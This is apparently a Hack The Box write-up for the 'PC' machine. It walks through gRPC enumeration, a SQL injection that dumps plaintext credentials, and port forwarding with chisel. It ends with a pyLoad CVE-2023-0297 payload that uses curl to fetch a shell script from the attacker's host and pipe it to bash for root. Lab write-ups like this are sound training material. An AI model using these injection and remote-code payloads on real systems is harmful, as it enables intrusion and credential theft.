PC

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 -Pn 10.129.40.34
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 03:19 EDT
Nmap scan report for 10.129.40.34
Host is up (0.17s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
50051/tcp open  unknown

Port 50051 -> gRPC

I've never seen port 50051 open on a HTB machine before, so I ran a detailed nmap scan too:

$ sudo nmap -p 22,50051 -sC -sV -O -T4 10.129.40.34                 
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 03:20 EDT
Nmap scan report for 10.129.40.34
Host is up (0.15s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/21%Time=6469C65A%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");

I see that this has some headers. I tried connecting using telnet or nc, then viewing the traffic within wireshark, but all I saw was this:

Just a bunch of unrelated TCP traffic. I tried running curl on the port and received another weird error.

$ curl http://10.129.40.34:50051
curl: (1) Received HTTP/0.9 when not allowed

Googling about this error leads me to a post about gRPC servers.

PHP Curl - Received HTTP/0.9 when not allowedStack Overflow

There are specific tools that are used to interact with this software, and we can test a few of them to make sure that this is gRPC. I googled for tools that could enumerate this, and found grpc-client-cli.

GitHub - vadimi/grpc-client-cli: generic gRPC command line clientGitHub

The tool worked, which means this is indeed gRPC running.

SimpleApp Enum -> SQL Injection

This thing was running a 'SimpleApp' application, and we can enumerate it to see the default values accepted, create a user and login.

$ ./grpc-client-cli -V 10.129.40.34:50051
? Choose a service: SimpleApp
? Choose a method: RegisterUser
Message json (type ? to see defaults): ?
{"username":"","password":""}
Message json (type ? to see defaults): {"username":"test","password":"test123"}
{
  "message": "Account created for user test!"
}

Method: /SimpleApp/RegisterUser
Status: 0 OK

Request Headers:
user-agent: [grpc-go/1.53.0]

Response Headers:
content-type: [application/grpc]
grpc-accept-encoding: [identity, deflate, gzip]

Request duration: 180.052244ms
Request size: 20 bytes
Response size: 41 bytes
? Choose a method: LoginUser
Message json (type ? to see defaults): {"username":"test","password":"test123"}
{
  "message": "Your id is 899."
}

Method: /SimpleApp/LoginUser
Status: 0 OK

Request Headers:
user-agent: [grpc-go/1.53.0]

Response Headers:
content-type: [application/grpc]
grpc-accept-encoding: [identity, deflate, gzip]

Response Trailers:
token: [b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTY4NDY2NDY4M30.JkX8rMMOYdWbSBiUnGmjKH85lwXj1JI-nJD4J5ELbkY']                                              

Request duration: 181.44517ms
Request size: 20 bytes
Response size: 166 bytes

So obviously, we have to exploit this to get the administrator account somehow. When I try to use the getInfo function, it complains that I don't have a valid token.

Message json (type ? to see defaults): ?
{"id":""}
Message json (type ? to see defaults): {"id":"899"}
{
  "message": "Authorization Error.Missing 'token' header"
}

Method: /SimpleApp/getInfo
Status: 0 OK

Request Headers:
user-agent: [grpc-go/1.53.0]

Response Headers:
content-type: [application/grpc]
grpc-accept-encoding: [identity, deflate, gzip]

Request duration: 172.81811ms
Request size: 10 bytes
Response size: 53 bytes

The last thing I tried with this was to login as the administrator with admin:admin, and it works!

Message json (type ? to see defaults): {"username":"admin","password":"admin"}
{
  "message": "Your id is 147."
}

Method: /SimpleApp/LoginUser
Status: 0 OK

Request Headers:
user-agent: [grpc-go/1.53.0]

Response Headers:
content-type: [application/grpc]
grpc-accept-encoding: [identity, deflate, gzip]

Response Trailers:
token: [b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ2NjUwNzF9.iur8GhCEFahebtqwyeFLj7wybSwtO4qesiLEWKTv614']

I changed tools to grpcui because it was easier to use and allowed me to specify more headers.

GitHub - fullstorydev/grpcui: An interactive web UI for gRPC, along the lines of postmanGitHub

$ ./grpcui -plaintext 10.129.40.34:50051
gRPC Web UI available at http://127.0.0.1:35935/

Using this, we can capture the request in Burpsuite and attempt to include our administrator token. This was the HTTP request I sent via Burp, and it kept running into an error:

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:35935
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: CUWLdMi5MxC2Io1JfHZ_oSUCHn4YZO5fYhkk2qAd9nk
X-Requested-With: XMLHttpRequest
Content-Length: 193
Origin: http://127.0.0.1:35935
Connection: close
Referer: http://127.0.0.1:35935/
Cookie: _grpcui_csrf_token=CUWLdMi5MxC2Io1JfHZ_oSUCHn4YZO5fYhkk2qAd9nk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin



{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ2NjUwNzF9.iur8GhCEFahebtqwyeFLj7wybSwtO4qesiLEWKTv614"}],"data":[{"id":"123"}]}

I thought it was intentional, so I attempted some basic command and SQL injection. I found that UNION SQL injection works!

Using version enumeration, we can find that this uses SQLite.

I tossed this Burp request to sqlmap, which also gives me a true positive.

sqlmap -r req -p id --level 5 --risk 3 --dbms sqlite

Then, we can enumerate the database and dump the passwords within the database.

[2 tables]
+----------+
| accounts |
| messages |
+----------+

Table: accounts
[2 columns]
+----------+------+
| Column   | Type |
+----------+------+
| password | TEXT |
| username | TEXT |
+----------+------+

Table: accounts
[2 entries]
+----------+------------------------+
| username | password               |
+----------+------------------------+
| admin    | admin                  |
| sau      | HereIsYourPassWord1431 |
+----------+------------------------

We had credentials for this user, and it works with ssh.

Privilege Escalation

PyLoad -> CVE-2023-0297 RCE

When checking netstat output, we can see that port 8000 is open on the machine:

sau@pc:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::50051                :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           - 

We can use chisel or ssh to port forward this and view it within our browser.

# within Kali
chisel server -p 5555 --reverse
# within host
chisel client 10.10.14.39 5555 R:8000:127.0.0.1:8000

Here, we will see a PyLoad instance.

This software had a recent RCE vulnerability found within it.

Arbitrary Code Injection in pyload-ng | CVE-2023-0297 | SnykLearn more about pip with Snyk Open Source Vulnerability Database

We can check the version within the machine to confirm that it is vulnerable:

sau@pc:/opt/app$ pip list | grep "pyload"
pyload-ng              0.5.0b3.dev30

We can find a PoC here:

GitHub - bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad: CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoadGitHub

We can simply change the command executed to give us a root shell:

$ curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"curl%2010.10.14.39/shell.sh|bash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2

Rooted!